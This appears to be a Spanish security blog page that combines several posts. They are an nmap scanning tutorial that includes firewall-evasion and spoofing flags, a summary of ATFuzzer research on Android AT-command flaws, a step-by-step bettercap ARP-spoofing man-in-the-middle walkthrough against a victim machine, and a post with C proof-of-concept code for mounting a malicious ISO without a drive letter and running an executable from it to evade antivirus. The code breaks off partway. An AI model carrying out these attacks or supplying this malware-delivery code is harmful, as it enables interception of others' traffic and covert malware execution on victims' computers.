lunes, 22 de junio de 2020

Nmap es una potente herramienta de escaneo de redes completamente grautita y que puede ser utilizada en diferentes plataformas.

En el post de hoy les vamos a comentar acerca de un software libre de escaneo de redes. En muchos artículos, libros y películas relacionadas con la seguridad informática se menciona la herramienta Nmap como una de las más importantes utilidades en lo que a seguridad se refiere. 

¿Qué es Nmap?

Nmap (Network mapper) es una utilidad de software libre para explorar, administrar y auditar una red de ordenadores. Fue diseñado por Gordon Lyon (más conocido como Fyodor Vaskovich) y su desarrollo se encuentra hoy a cargo de una comunidad. Fue diseñado originalmente para Linux aunque, actualmente puede utilizarse en múltiples plataformas.

Entre sus utilidades podemos encontrar que detecta hosts online, escanea los puertos y servicios corriendo a través de ellos, sistema operativo, firewalls, etc. Principalmente esta herramienta es utilizada para 3 cosas:

  • Auditorias de seguridad
  • Pruebas rutinarias de escaneo de redes
  • Recolección de información para futuros ataques

 

Muchas de las técnicas de escaneo incluidas en Nmap están basadas en el protocolo TCP. Este protocolo está orientado a conexión que se utiliza para ofrecer servicios de red y una buena parte de su funcionalidad se debe a los flags que podemos encontrar en los segmentos TCP.

Escaneando la red con nmap en Kali Linux

Además cabe destacar los pasos que siguen en un establecimiento de sesión TCP

Escaneando la red con nmap en Kali Linux

 

El host que inicia la sesión envía un segmento con el flag SYN activo. El receptor, si está a la escucha, devolverá un segmento con los flags SYN y ACK activos, a lo que el emisor responderá con un segmento con el flag ACK activo. Durante estos pasos, ambos extremos habrán realizado la comunicación, estableciendo así la comunicación entre ellos.

Según la respuesta de la máquina, Nmap puede utilizar la información obtenida para conocer mucha más información acerca del host de destino. Al escanear un puerto, nmap nos dará una vista muy detallada, entre la que podemos encontrar 6 tipos de estados diferentes para los mismos:

  • Abierto -> La aplicación está a la escucha en el puerto, es decir, acepta conexiones que pueden ser TCP o UDP.
  • Cerrado -> El puerto recibe los paquetes de Nma y responde con un paquete RST (Reset), pero no hay ninguna aplicación a la escucha. Detectar que puertos están abiertos y cuales cerrados puede ayudarnos a identificar el sistema operativo.
  • Filtrado -> Los paquetes no llegan al puerto y por lo tanto no puede decidir si está abierto o cerrrado. Esto indica que tenemos delante algún tipo de cortafuegos.
  • No filtrado -> Este estado sólo lo marcará cuando está realizando un escaneo ACK, que explicaremos más adelante. No hay cortafuegos pero, el escaneo no es suficiente para identificar el estado del puerto.
  • Abierto|filtrado -> Los escaneos UDP, IP, FIN, Null y Xmas pueden darnos este resultado al no poder determinar si el puerto se encuentra abierto o filtrado.
  • Cerrado|filtrado -> Este resultado sólo lo dará al realizar un escaneo IPID pasivo y se debe a que no puede determinar si el puerto se encuentra cerrado o filtrado.

 

Con los conceptos aclarados empezaremos instalando Nmap en nuestro ordenador.

 

Instalación de Nmap en Linux

Para instalar Nmap en nuestro sistema Linux, podemos lanzar el comando e instalarlo desde el repositorio

# Nmap en debian y distribuciones basadas en debian.
=> sudo apt-get install nmap -y

# Centos,RedHat,Fendora.
=> sudo yum -y install nmap

# FreeBSD
=> sudo pkg install nmap

O descargando los ficheros y compilarlo nosotros, para ello descargamos la última versión de nmap desde su página oficial

root@evil:~# wget https://nmap.org/dist/nmap-version.tgz
root@evil:~# tar -xzf nmap-version.tgz
root@kali:~# cd nmap-version root@kali:~# ./configure root@kali:~# make root@kali:~# make install

Y ya tendríamos listo Nmap para su uso y disfrute.

 

Escaneo básico con Nmap

Empezaremos realizando el escaneo más básico de Nmap, en el que no utilizaremos ninguna de las muchas opciones de las cuales dispone.

Para comenzar, podemos escanear una red o subred completa, para ello el comando sería el siguiente

root@kali:~# nmap 192.168.1.0/24

y nos mostraría un resultado similar al siguiente

Escaneando la red con nmap en Kali Linux

 

Una vez descubiertas las máquinas disponibles en la subred, podemos escanear una en concreto, colocando la ip de dicho host

root@kali:~# nmap 192.168.1.135

Escaneando la red con nmap en Kali Linux

 

En el escaneo de la máquina podemos ver que tiene abiertos varios puertos como 135, 139 o 445. También esto nos ayuda a identificar el sistema operativo, por ejemplo el puerto 445, utilizado en máquinas Windows para compartir recursos de red nos indica que se trata de una máquina Windows, aunque veremos más adelante como averiguar exactamente de que OS se trata.

 

Escaneo TCP Syn

El escaneo TCP Syn, también llamado escaneo semi-abierto porque no se completa todo el proceso. La idea es evitar que quede registrado el escaneo en la máquina objetivo. Para esto, Nmap envía un segmento SYN y queda a la espera de recibir el SYN-ACK, pero aunque lo reciba no cerraría el saludo (handshake). De esta forma no llega a iniciarse sesión y es probable que la máquina no lo guarde en el registro.

Vamos a probarlo con la máquina Windows de la prueba anterior, para ello lanzamos el siguiente comando

root@kali:~# nmap -sS 192.168.1.135

Escaneando la red con nmap en Kali Linux

 

Escaneo TCP Connect

Este tipo de escaneo, es muy similar al escaneo TCP Syn con la diferencia de que nos arriesgamos mucho más a que nuestra actividad quede registrada.

Para ello, lanzaríamos el siguiente comando

root@kali:~# nmap -sT 192.168.1.135

Escaneando la red con nmap en Kali Linux

 

Como vemos, la información obtenida en ambos casos es similar pero, en esta segunda opción, las posibilidades de ser descubiertos son muy superiores.

 

Escaneo FIN, Null y Xmas

Si el cortafuegos está configurado para interceptar los paquetes SYN, bloquearía los dos escaneos que hemos realizado hasta ahora. Una de las posibilidades para saltar este cortafuegos sería utilizar el escaneo FIN, en el cual Nmap enviará los paquetes sólo si el flag SYN está activo.

Para ello lanzaríamos el siguiente comando

root@kali:~# nmap -sF 192.168.1.135

Escaneando la red con nmap en Kali Linux

Otras opciones de intentar evitar los cortafuegos sería utilizar los escaneos Null o Xmas. El objetivo de estos escaneos es saltarse la protección de un cortafuegos básico. Si el cortafuegos no espera la llegada de estos paquetes, podría ocurrir que no supiera lo que hacer con ellos y los dejara pasar, pero esto no quiere decir que funcione siempre. Por suerte, la mayoría de cortafuegos ya saben como frenarlo y no caer en la trampa, pero esto no quiere decir que no funcione.

Para lanzar estos escaneos lo haríamos con los siguientes comandos

# escaneo Null
root@kali:~# nmap -sN 192.168.1.135
 
# escaneo Xmas
root@kali:~# nmap -sX 192.168.1.135

Escaneando la red con nmap en Kali Linux

 

Como acabamos de comprobar, el resultado de estos 3 últimos comandos, nos muestra el resultado open|filtered al escanear los puertos. Más arriba lo mencionamos y esto nos demuestra que estamos ante algún tipo de cortafuegos que nos deniega el acceso.

 

Escaneo UDP

Cambiando de protocolo, podemos obtener diferentes resultados, debido principalmente a que este protocolo no siempre es bloqueado por los cortafuegos. Los últimos comandos no dieron los resultados esperados, vamos a probar ahora con este protocolo.

Para ello lanzamos el siguiente comando

root@kali:~# nmap -sU 192.168.1.135

Escaneando la red con nmap en Kali Linux

Ahora nos aparece abierto el puerto 137, correspondiente al servicio de Netbios y que suele ser indicativo de una máquina de Microsoft, aunque todavía no podemos asegurarlo.

Hay que tener en cuenta también que es habitual que los host abran y cierren los puertos en determinados momentos, por lo cual es una buena práctica, realizar el escaneo en diferentes momentos para intentar obtener diferentes resultados.

 

Escaneo TCP ACK

Este tipo de escaneo es diferente al resto porque no intenta determinar si los puertos están abiertos. El objetivo de este escaneo es detectar el tipo de cortafuegos que tenemos delante.

La sonda enviada sólo contiene el flag ACK activo. Si el puerto no responde o devuelve un paquete ICMP “destination unreachable”, consideramos que el puerto esta filtrado por el cortafuegos. Si por el contrario, devuelve un paquete RST, se clasificaría como “unfiltered”, es decir, que es alcanzable.

En este caso lanzaremos el comando sobre una máquina Linux con Ubuntu y con el cortafuegos desactivado sobre el puerto 22 y después sobre la máquina windows con el cortafuegos activado, sobre el puerto 137.

Para Linux el comando sería

root@kali:~# nmap -sA -vv -n -p 22 192.168.1.136

donde cada opción significa

  • -sA -> realiza el escaneo TCP ACK
  • -vv -> modo verbose
  • -n -> evita el intento de resolución DNS inversa para acelerar el proceso
  • -p puerto -> indicamos el puerto sobre el cual queremos realizar el escaneo

Escaneando la red con nmap en Kali Linux

Al no tener el cortafuegos activado, podemos apreciar como el puerto 22 no se encuentra filtrado, lo que quiere decir que podemos alcanzarlo.

 

Para windows

root@kali:~# nmap -sA -vv -n -p 137 192.168.1.135

Escaneando la red con nmap en Kali Linux

Por el contrario, en Windows sí está activado el cortafuegos, y para el caso del puerto 137 sí está siendo filtrado por el cortafuegos, imposibilitando nuestro acceso al mismo.

 

Escaneo TCP WIndow

Este tipo de escaneo funciona de forma similar al escaneo TCP ACK, estudia el cortafuegos que tenemos delante, pero con la diferencia que si puede alcanzar el puerto, identifica si el puerto que escaneamos se encuentra abierto o cerrado. El flag ACK se envía activo en la sonda y se analiza el campo del tamaño de ventana de la respuesta. En algunos sistemas, este campo tiene un valor positivo si está abierto y negativo si está cerrado.

Vamos a lanzarlo sobre la máquina Ubuntu, que no tiene activo el cortafuegos, para ver con claridad la información obtenida. El comando sería:

root@kali:~# nmap -sW -vv -n -p 22 192.168.1.136

Escaneando la red con nmap en Kali Linux

 

Vemos claramente que hemos podido acceder al puerto y su estado es closed, es decir, cerrado. Esto no quiere decir que podamos fiarnos siempre de este escaneo, como ya mencioné anteriormente, es necesario realizar escaneos en diferentes momentos para asegurarnos de que la información que obtenemos es fiable.

 

Comandos más utilizados en Nmap

En nmap podemos acceder a la guía completa de comandos con el comando

root@kali:~# nman nmap

O acceder a ellos pero sin demasiada explicación con

root@kali:~# nmap -h
root@kali:~# nmap --help

Pero os vamos a dejar alguna tabla con los más utilizados de todos ellos


-iL file	Se pasa un fichero con el listado de objetivos a escanear

-iR num	Escanea objetivos aleatorios

–exclude host	Excluir equipos

–excludefile file	Se pasa un fichero con los objetivos a excluir

-Pn	no realiza ping

-sL	lista los equipos

-sn	ping sweep

-PR	ping arp

-ps puerto	ping arp al puerto o puertos especificados

-PS puerto	ping tcp ack al puerto o puertos especificados

-PU puerto	ping udp al puerto o puertos especificados

-PY puerto	ping sctp al puerto o puertos especificados

-PE	ping icmp

-PM	ping icmp address mask

-6	habilita el escaneo ipv6

-sS	escaneo TCP Syn

-sT	escaneo TCP Connect

-sF	escaneo FIN

-sN	escaneo Null

-sX	escaneo Xmas

-sU	escaneo UDP

-sW	escaneo TCP Window

-sO	escaneo IP Protocol

-sA	realiza el escaneo TCP ACK

-vv	modo verbose

-n	evita el intento de resolución DNS inversa para acelerar el proceso

-p puerto	indicamos el puerto sobre el cual queremos realizar el escaneo
Comandos DNS

-PO protocolo	escanea el protocolo especificado

-n/-R	Resolver DNS nunca/siempre

–dns-servers server	Especifica los servidores a escanear

–traceroute	muestra además el trazado de ruta

-p min-max	escanea el rango de puertos especificado

–top-ports	escanea los puertos más utilizados
Escaneo

-sV	identifica servicios y versiones

–allports	escanea todos los puertos posibles

–version-intensity num	especifica la intensidad del escaneo de 0-9 (min-max), hay que tener cuidado ya que el uso de esta acción hace mucho ruido en la máquina objetivo

–version-light	escaneo en intensidad 2

–version-all	escaneo en intensidad 9

–version-trace	traza la actividad del análisis de versiones
Sistema Operativo

-A	activa la detección de OS, version, script y traceroute

-O	detecta el OS

–osscan-limit	limita la detección

–osscan-guess	realiza un escaneo más agresivo
Evsión de Firewall y suplantación

-f	fragmenta paquetes de 8 bits

-mtu	fragmenta paquetes múltiplos de 8 bits

–daa-length	gestiona el tamaño del paquete

–randomize-host	utiliza objetivos aleatorios

-D host[hostx]	utiliza señuelos

-S ip	envía paquetes a una ip destino específica

–spoof-mac mac	envía tramas de ethernet a la mac objetivo

-g puerto	envía paquetes desde el puerto especificado

-e interface	define la interfaz de red a utilizar

 Bueno esto ha sido todo por ahora, próximamente realizaré algunos post utilizando esta herramienta en una práctica lo más real posible. Cualquier duda o sugerencia en los comentarios.

Cómo usar Auriculares o Bluetooth para hackear y tomar el control de cualquier dispositivo android

Una reciente investigación publicada por especialistas en análisis de vulnerabilidades de la Universidad de Purdue detalla un nuevo exploit que abusa de algunos smartphones con sistema operativo Android a través del uso de dispositivos periféricos (Bluetooth y USB) maliciosos.

El procesador de aplicaciones de casi cualquier modelo de smartphone relativamente reciente usa la Interfaz de Comandos AT para lanzar comandos de alto nivel al procesador de banda base, que realiza operaciones de red celular comunes. Existen vulnerabilidades en esta comunicación que pueden ser explotadas mediante el uso de dispositivos periféricos controlados por actores de amenazas.

Por lo general, un smartphone trabaja con dos unidades de procesamiento interconectadas:

  • Procesador de aplicaciones
  • Procesador de banda base (también llamado modem celular)

Es importante mencionar que la mayoría de smartphones actuales acepta comandos AT vía Bluetooth.

La interfaz AT es un punto de entrada para acceder al procesador de banda base, por lo que cualquier conducta anómala al procesar un comando AT podría causar acceso no autorizado a información confidencial almacenada en el smartphone, alteraciones en el funcionamiento de la red celular, entre otras fallas. 

Interfaz AT de dispositivos Android
FUENTE: ATFuzzer: Dynamic Analysis of AT Interface for Android

Algunas investigaciones realizadas anteriormente en referencia a las fallas en la interfaz AT se enfocan sólo en encontrar comandos AT inválidos o maliciosos para que los fabricantes integren una lista negra y prevenir posibles abusos; no obstante, especialistas en análisis de vulnerabilidades consideran que el alcance de este enfoque es realmente reducido, pues aunque existen comandos AT utilizados por toda la industria de las comunicaciones móviles, los fabricantes de smartphones suelen incluir sus propios conjuntos de comandos AT para realizar diversas tareas. En otras palabras, este enfoque es demasiado específico.

En su lugar, los expertos proponen diseñar un método de análisis de los procesos relacionados con la ejecución de cualquier comando AT para detectar cualquier posible actividad anómala que pueda convertirse en una vulnerabilidad explotable.

Indicadores de actividad anómala:

  • Errores de código sintácticos: Un dispositivo podría aceptar comandos AT inválidos
  • Errores semánticos: Los dispositivos objetivo procesan un comando AT redactado correctamente, pero la respuesta generada no se ajusta a un comportamiento esperado

Al explotar un comando inválido, un dispositivo periférico malicioso conectado al smartphone podría acceder a información confidencial (como clave IMSI o IMEI), o incluso degradar el protocolo de red del dispositivo (de 4G a 3G, por ejemplo).

Comandos AT

Son fragmentos de código usados para controlar algunas acciones relacionadas con el uso de redes celulares. Un conjunto básico de comandos fue establecido como estándar en la industria de las comunicaciones móviles; por otra parte, los fabricantes de smartphones incluyen sus propios comandos AT para ejecutar múltiples funciones.

Ejecución de comandos AT vía Bluetooth

Se requiere emparejar el dispositivo periférico (altavoces, audífonos, entre otros) con el smartphone objetivo, estableciendo un canal de comunicación. Al recibir un comando AT, el componente Bluetooth a nivel sistema del dispositivo reconoce el comando con el prefijo “AT” y lo contrasta con una lista de comandos legítimos. Posteriormente, el comando AT se envía al componente Bluetooth a nivel aplicación, donde la acción relacionada con el comando enviado se completa.

Ejecución de comandos vía USB

Si un smartphone expone su interfaz del Modelo de control abstracto (ACM) USB, crea un dispositivo tty como /dev/ttyACM0 que permite que el teléfono reciba comandos AT a través de la interfaz USB. Por otro lado, en los teléfonos para los cuales la interfaz del módem USB no está incluida en la configuración USB predeterminada, cambiar a una configuración USB alternativa permite la comunicación al módem a través de USB.

Para esta investigación, se obtuvo una lista de comandos AT válidos y su gramática a partir de los estándares 3GPP. No todos estos comandos son procesados o reconocidos por todos los smartphones, pues esto depende de los fabricantes.

El enfoque ATFuzzer

ATFuzzer consta de dos módulos: módulo de evolución y módulo de evaluación, que interactúan de forma cerrada. El módulo de evolución se inicia con una gramática de comando AT inicial que se muta para generar Psize (se refiere al tamaño de la población, un parámetro para ATFuzzer), diferentes versiones de esa gramática. Concretamente, ATFuzzer genera nuevas gramáticas a partir de la gramática principal a través de las siguientes operaciones de alto nivel:

  • Inicialización de la población
  • Selección de padres
  • cruce de gramática
  • Mutación gramatical

Para evaluar la efectividad y el alcance de este enfoque, se analizaron 10 modelos distintos de smartphones con sistema operativo Android (de seis fabricantes diferentes). Al concluir el análisis, los especialistas en análisis de vulnerabilidades descubrieron 4 conductas erróneas en Bluetooth y otras 13 en USB.

Explotando estas fallas, los actores de amenazas podrían desplegar actividades maliciosas como disrupción de las conexiones del smartphone, denegación de servicio y robo de información confidencial.

A pesar de que la seguridad para los procesadores de banda base e interfaces de comandos ha mejorado notablemente respecto a generaciones anteriores de smartphones, es obvio que con las medidas de seguridad actuales es imposible analizar y filtrar adecuadamente un input anómalo. Acorde a los especialistas en análisis de vulnerabilidades del Instituto Internacional de Seguridad Cibernética (IICS), una posible solución a este acceso indebido es la eliminación de la exposición de la interfaz del módem AR vía Bluetooth y USB. Asimismo, es importante recordar a los usuarios de dispositivos Android que eviten conectarse a cargadores, bocinas u otros periféricos desconocidos.

Cómo realizar un ataque de hombre en el medio usando Bettercap

El ataque Man-in-the-middle (MITM) u hombre en el medio es un ataque muy popular y efectivo. El atacante retransmite en secreto y posiblemente altera las comunicaciones entre dos dispositivos que creen que se están comunicando directamente entre sí.


 

Para poder realizar un ataque de hombre en el medio, debemos estar en la misma red que nuestra víctima. Esto porque tenemos que engañar a estos dos dispositivos. Ahora iniciaremos el ataque ejecutando nuestras herramientas, lo cual es mejor.

Para ejecutar bettercap, simplemente podemos abrir la terminal y escribir bettercap -iface [tu interfaz de red que la que te conectaste a la red].

Para saber qué interfaz de red estás utilizando, simplemente podemos escribir ifconfig y esto es lo que nos muestra.

En mi caso es wlan0, así que escribiré bettercap -iface wlan0 y presionaré enter.

Como puede ver ahora, ya estamos dentro de la herramienta, pero es solo un espacio en blanco sin ninguna información. Para facilitar nuestro trabajo, podemos escribir help y luego presionar enter; aquí está lo que nos muestra.

Ahora tenemos información sobre esta herramienta, pero nuestra preocupación aquí es el módulo. Para obtener más información, podemos escribir help seguido del nombre del módulo, por ejemplo, help net.probe.

Por lo tanto, este módulo consta de varios parámetros, pero por ahora, simplemente manténlo en predeterminado y enciende el módulo escribiendo net.probe on.

Ahora que el módulo ya se está ejecutando, lo que realmente sucede es que el módulo escanea todos los dispositivos conectados a la misma red que nuestra PC. Esto incluye la dirección IP, dirección mac y el nombre del proveedor. Para aclarar las cosas, podemos escribir net.show para obtener más información.

Dispositivos

Entonces, Raspberry Pi es mi dispositivo utilizado para realizar este ataque y mi dirección IP es 192.168.1.4. La dirección IP del enrutador es 192.168.1.1 la conocía por la columna Nombre que muestra la puerta de enlace. El resto es cliente conectado a esta red.

Ahora podemos elegir cuál será nuestra víctima, por ejemplo, voy a elegir 192.168.1.3, que es mi computadora portátil con Windows 10. Ahora veamos el módulo llamado arp.spoof.

Al igual que el módulo anterior, consta de varios parámetros. Primero echemos un vistazo al parámetro arp.spoof.fullduplex. Para ser el hombre en el medio, debemos engañar tanto a la víctima como al enrutador. Esto lo haremos diciéndole al enrutador que la dirección mac de la víctima es nuestra dirección mac. Además, le diremos a la víctima que la dirección mac del enrutador es nuestra dirección mac.

Por lo tanto, debemos establecer este parámetro en verdadero escribiendo set arp.spoof.fullduplex true. En segundo lugar, necesitamos establecer el parámetro arp.spoof.targets simplemente dándole la dirección IP de nuestra víctima. Entonces, en mi caso, se establecerá arp.spoof.targets 192.168.1.3.

Después de configurar estos 2 parámetros, estamos listos para iniciar este módulo escribiendo arp.spoof on. Pero espera un segundo, vamos a Windows 10 y escribimos arp -a.

Como ya sabemos cuándo escribimos el comando net.show que la IP de mi enrutador es 192.168.1.1 y su mac es e4: **: **: **: **: e4, que es la real. Así que algo extraño no ha sucedido. Volvamos a raspberry pi y encenderemos arp.spoof escribiendo arp.spoof on.

Ahora ya estamos en el medio de nuestra víctima, que es mi Windows 10 y mi enrutador. Para asegurarnos de abrir cmd en Windows 10 y debemos escribir arp –a; esto es lo que nos muestra.

Resultados

Como podemos ver que la dirección mac de nuestro enrutador cambió a b8: **: **: **: **: 08, que son mis direcciones mac de raspberry pi. En otras palabras, engañamos con éxito Windows 10 diciéndole que ‘yo soy el enrutador ‘para que cada solicitud que realice Windows 10 pase por Raspberry Pi.

Ahora podemos hacer el rastreo de paquetes usando el módulo net.sniff, así que vamos a encenderlo escribiendo net.sniff on.

Presiona Inter y luego me moveré a Windows 10 y abriré vulnweb.com.

Nada es extraño en el navegador, todo está bien. Ahora, si nos movemos a la raspberry, esto es lo que veremos.

¡Si! Sabemos que nuestra víctima está accediendo a vulnweb.com como lo hice en mi Windows 10.

En pocas palabras, somos solo la tercera persona en una relación armónica.

sábado, 20 de junio de 2020

Cómo montar un ISO malicioso correctamente

El uso de archivos ISO maliciosos se lleva usando desde hace tiempo en muchas campañas de malware: Phobos, ZLoader, LokiBot, Nanocore, Grandoreiro... pero hasta ahora no había visto un artículo tan claro como el de Mateusz, fundador de vx-underground, dónde muestra cómo montar correctamente un archivo ISO para ser utilizado con fines maliciosos. Veamos pues cómo montar una ISO sin establecer una ruta visible para el usuario y/o asignar una letra de dispositivo. 




Primero, ¿por qué no usar un archivo VHD/VHDX (disco duro virtual) en lugar de un ISO (imagen de CD o DVD)? Ambos tienen que se virtualizados y montados por Windows y ambos utilizan llamadas a API similares (Virtual Storage API), pero muchos antivirus parecen ser incapaces de montar mediante programación un archivo VHD/VHDX, aunque parece que si son capaces de analizar imágenes ISO en cierta medida. ¿Entonces por que los desarrolladores de malware no usan mejor ficheros VHD? Pues básicamente porque el tamaño mínimo de un archivo VHD que se puede asignar en una Tabla de Partición GUID (GPT) es de 5MB.

Centrémonos entonces en los ISOs, mucho más pequeños y versátiles. Como decíamos, coinciden en el uso de ciertas APIs, y concretamente con AttachVirtualDisk podremos montar y leerlo también. Podremos llamar a OpenVirtualDisk​ como se define a continuación:
DWORD ​OpenVirtualDisk​(
  PVIRTUAL_STORAGE_TYPE         VirtualStorageType,  
  PCWSTR                        Path,  
  VIRTUAL_DISK_ACCESS_MASK      VirtualDiskAccessMask,
  OPEN_VIRTUAL_DISK_FLAG        Flags,
  POPEN_VIRTUAL_DISK_PARAMETERS Parameters,
  PHANDLE                       Handle
);

El primer parámetro, VirtualStorageType, debe ser válido como parte de una estructura VIRTUAL_STORAGE_TYPE que se define como:
typedef​​struct​ _​VIRTUAL_STORAGE_TYPE​ {
  ULONG DeviceId;
  GUID  VendorId;
} VIRTUAL_STORAGE_TYPE, *PVIRTUAL_STORAGE_TYPE;

El DeviceId debe establecerse en VIRTUAL_STORAGE_TYPE_DEVICE_ISO. Además, VendorId debe establecerse en VIRTUAL_STORAGE_TYPE_VENDOR_MICROSOFT.
Si hacemos esto así, todo lo demás seguirá siendo prácticamente idéntico que con un archivo VHD/VHDX.

Explicación del código en C con WINAPI

La PoC tiene bastante programación genérica, como verificar que estamos ejecutando Windows 10, obtener la ubicación donde se pone archivo ISO y garantizar que tengamos los privilegios adecuados. A continuación vemos una descripción a alto nivel:

1. Obtener el PEB para asegurarnos de que nuestro código se ejecuta en Windows 10
if​ (Peb->OSMajorVersion != ​0x0a​)
    goto​ FAILURE;

2. Llamar a GetEnvironmentVariable con una variable USERPROFILE para obtener el usuario actual

3. Si nuestra invocación a GetEnvironmentVariable fue exitosa, concatenar "\\Desktop\\Demo.iso"
if​ (GetEnvironmentVariableW(​L"USERPROFILE"​, lpIsoPath, DEFAULT_DATA_ALLOCATION_SIZE) == ​0​)
    goto​ FAILURE;
else
    wcscat(lpIsoPath, ​L"\\Desktop\\Demo.iso"​);

4. Verificar nuestros tokens de seguridad. Si no tenemos SeManageVolumePrivilege hay que solicitarlo.
if (!OpenThreadToken(GetCurrentThread(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, FALSE, &hToken))
{
    if (!ImpersonateSelf(SecurityImpersonation))
       goto FAILURE;

    if (!OpenThreadToken(GetCurrentThread(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, FALSE, &hToken))
           goto FAILURE;
}

//see if we have the privilege to manage volumes
if (!LookupPrivilegeValueW(NULL, L"SeManageVolumePrivilege", &Luid))
    goto FAILURE;

Tp.PrivilegeCount = 1;
Tp.Privileges[0].Luid = Luid;
Tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

//get SeManageVolumePrivilege
if (!AdjustTokenPrivileges(hToken, FALSE, &Tp, sizeof(TOKEN_PRIVILEGES), (PTOKEN_PRIVILEGES)NULL, NULL))
    goto FAILURE;

5. Llamar a OpenVirtualDisk con una estructura VIRTUAL_STORAGE_TYPE correctamente inicializada
Parameters.Version = OPEN_VIRTUAL_DISK_VERSION_1;
Parameters.Version1.RWDepth = OPEN_VIRTUAL_DISK_RW_DEPTH_DEFAULT;

if​(OpenVirtualDisk(&VirtualStorageType, lpIsoPath,
    VIRTUAL_DISK_ACCESS_ATTACH_RO | VIRTUAL_DISK_ACCESS_GET_INFO,
    OPEN_VIRTUAL_DISK_FLAG_NONE, &Parameters,
    &VirtualObject) != ERROR_SUCCESS)
{
    goto​ FAILURE;
}

6. Llamar a AttachVirtualDisk con ATTACH_VIRTUAL_DISK_FLAG establecido en ATTACH_VIRTUAL_DISK_FLAG_READ_ONLY y ATTACH_VIRTUAL_DISK_FLAG_NO_DRIVE_LETTER
AttachParameters.Version = ATTACH_VIRTUAL_DISK_VERSION_1;
if​ (AttachVirtualDisk(VirtualObject, ​0​,
                      ATTACH_VIRTUAL_DISK_FLAG_READ_ONLY | ATTACH_VIRTUAL_DISK_FLAG_NO_DRIVE_LETTER,
              ​0​, &AttachParameters, ​0​) != ERROR_SUCCESS)
{
goto​ FAILURE;
}

7. GetVirtualDiskPhysicalPath para recuperar la ruta física a nuestro ISO montado

8. Si la invocación de GetVirtualDiskPhysicalPath fue exitosa, concatenar "\\Demo.exe"
if​ (GetVirtualDiskPhysicalPath(VirtualObject, &dwData, lpIsoAbstractedPath) != ERROR_SUCCESS)
    goto​ FAILURE;
else
    wcscat(lpIsoAbstractedPath, ​L"\\Demo.exe"​);

9. Llamar a CreateProcess

10. Asegurarse de que, en caso de éxito o fracaso, todos los handles y heaps se hayan cerrado. Salir correctamente.
if (!CreateProcess(lpIsoAbstractedPath, NULL, NULL, NULL, FALSE, NORMAL_PRIORITY_CLASS, NULL, NULL, &Info, &ProcessInformation))
    goto FAILURE;

//close everything
if (VirtualObject)
    CloseHandle(VirtualObject);

if (hToken)
    CloseHandle(hToken);
    
return ERROR_SUCCESS;

Código completo:
#include <Windows.h>
#include <virtdisk.h>
#include <stdio.h>
#include <initguid.h>
#include <sddl.h>

//necessary includes + PEB definition

typedef struct _LSA_UNICODE_STRING {
    USHORT Length;
    USHORT MaximumLength;
    PWSTR  Buffer;
} LSA_UNICODE_STRING, * PLSA_UNICODE_STRING, UNICODE_STRING, * PUNICODE_STRING, * PUNICODE_STR;

typedef struct _LDR_MODULE {
    LIST_ENTRY              InLoadOrderModuleList;
    LIST_ENTRY              InMemoryOrderModuleList;
    LIST_ENTRY              InInitializationOrderModuleList;
    PVOID                   BaseAddress;
    PVOID                   EntryPoint;
    ULONG                   SizeOfImage;
    UNICODE_STRING          FullDllName;
    UNICODE_STRING          BaseDllName;
    ULONG                   Flags;
    SHORT                   LoadCount;
    SHORT                   TlsIndex;
    LIST_ENTRY              HashTableEntry;
    ULONG                   TimeDateStamp;
} LDR_MODULE, * PLDR_MODULE;

typedef struct _PEB_LDR_DATA {
    ULONG                   Length;
    ULONG                   Initialized;
    PVOID                   SsHandle;
    LIST_ENTRY              InLoadOrderModuleList;
    LIST_ENTRY              InMemoryOrderModuleList;
    LIST_ENTRY              InInitializationOrderModuleList;
} PEB_LDR_DATA, * PPEB_LDR_DATA;

typedef struct _PEB {
    BOOLEAN                 InheritedAddressSpace;
    BOOLEAN                 ReadImageFileExecOptions;
    BOOLEAN                 BeingDebugged;
    BOOLEAN                 Spare;
    HANDLE                  Mutant;
    PVOID                   ImageBase;
    PPEB_LDR_DATA           LoaderData;
    PVOID                   ProcessParameters;
    PVOID                   SubSystemData;
    PVOID                   ProcessHeap;
    PVOID                   FastPebLock;
    PVOID                   FastPebLockRoutine;
    PVOID                   FastPebUnlockRoutine;
    ULONG                   EnvironmentUpdateCount;
    PVOID*                    KernelCallbackTable;
    PVOID                   EventLogSection;
    PVOID                   EventLog;
    PVOID                   FreeList;
    ULONG                   TlsExpansionCounter;
    PVOID                   TlsBitmap;
    ULONG                   TlsBitmapBits[0x2];
    PVOID                   ReadOnlySharedMemoryBase;
    PVOID                   ReadOnlySharedMemoryHeap;
    PVOID*                    ReadOnlyStaticServerData;
    PVOID                   AnsiCodePageData;
    PVOID                   OemCodePageData;
    PVOID                   UnicodeCaseTableData;
    ULONG                   NumberOfProcessors;
    ULONG                   NtGlobalFlag;
    BYTE                    Spare2[0x4];
    LARGE_INTEGER           CriticalSectionTimeout;
    ULONG                   HeapSegmentReserve;
    ULONG                   HeapSegmentCommit;
    ULONG                   HeapDeCommitTotalFreeThreshold;
    ULONG                   HeapDeCommitFreeBlockThreshold;
    ULONG                   NumberOfHeaps;
    ULONG                   MaximumNumberOfHeaps;
    PVOID**                    ProcessHeaps;
    PVOID                   GdiSharedHandleTable;
    PVOID                   ProcessStarterHelper;
    PVOID                   GdiDCAttributeList;
    PVOID                   LoaderLock;
    ULONG                   OSMajorVersion;
    ULONG                   OSMinorVersion;
    ULONG                   OSBuildNumber;
    ULONG                   OSPlatformId;
    ULONG                   ImageSubSystem;
    ULONG                   ImageSubSystemMajorVersion;
    ULONG                   ImageSubSystemMinorVersion;
    ULONG                   GdiHandleBuffer[0x22];
    ULONG                   PostProcessInitRoutine;
    ULONG                   TlsExpansionBitmap;
    BYTE                    TlsExpansionBitmapBits[0x80];
    ULONG                   SessionId;
} PEB, * PPEB;

PPEB RtlGetPeb(VOID);

#define DEFAULT_DATA_ALLOCATION_SIZE (MAX_PATH * sizeof(WCHAR))

int wmain(VOID)
{
    DWORD dwError = ERROR_SUCCESS;
    VIRTUAL_STORAGE_TYPE VirtualStorageType = { 0 };
    OPEN_VIRTUAL_DISK_PARAMETERS Parameters;
    ATTACH_VIRTUAL_DISK_PARAMETERS AttachParameters;
    HANDLE VirtualObject = NULL, hToken = NULL;
    WCHAR lpIsoPath[DEFAULT_DATA_ALLOCATION_SIZE] = { 0 };
    WCHAR lpIsoAbstractedPath[DEFAULT_DATA_ALLOCATION_SIZE] = { 0 };
    PPEB Peb = (PPEB)RtlGetPeb();
